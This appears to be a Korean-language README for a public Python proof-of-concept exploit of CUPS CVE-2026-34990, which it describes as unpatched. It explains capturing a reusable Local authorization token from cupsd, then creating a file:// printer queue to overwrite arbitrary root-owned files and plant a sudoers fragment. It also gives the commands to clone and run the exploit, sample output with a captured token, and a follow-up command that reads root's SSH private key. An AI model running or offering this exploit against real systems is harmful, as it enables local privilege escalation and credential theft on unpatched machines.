
OpenPrinting CUPS의 CVE-2026-34990에 대한 Python 개념 증명으로, cupsd를 조작하여 Local 인증 토큰을 유출하고 file:// 프린터 큐를 통해 root 파일을 덮어씁니다.
CVE-2026-34990 - OpenPrinting CUPS 2.4.16 및 이전 버전에서, 로컬의 비권한 사용자가 cupsd를 조종하여 공격자가 제어하는 localhost IPP 서비스에 재사용 가능한 Authorization: Local ... 토큰으로 인증하도록 만들 수 있습니다. 이 토큰만으로도 localhost에서 /admin/ 요청을 실행하기에 충분하며, 공격자는 CUPS-Create-Local-Printer와 printer-is-shared=true를 결합하여 일반적인 FileDevice 정책이 이러한 URI를 거부함에도 불구하고 file:///... 큐를 지속시킬 수 있습니다. 해당 큐로 인쇄하면 임의의 root 파일 덮어쓰기가 가능해지며, 아래 PoC는 이 원시 기능을 이용해 sudoers 조각을 삽입하고 root 명령 실행을 시연합니다. 발표 시점 기준으로 공개된 패치는 없습니다.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
그런 다음:
sudo -n cat /root/.ssh/id_rsa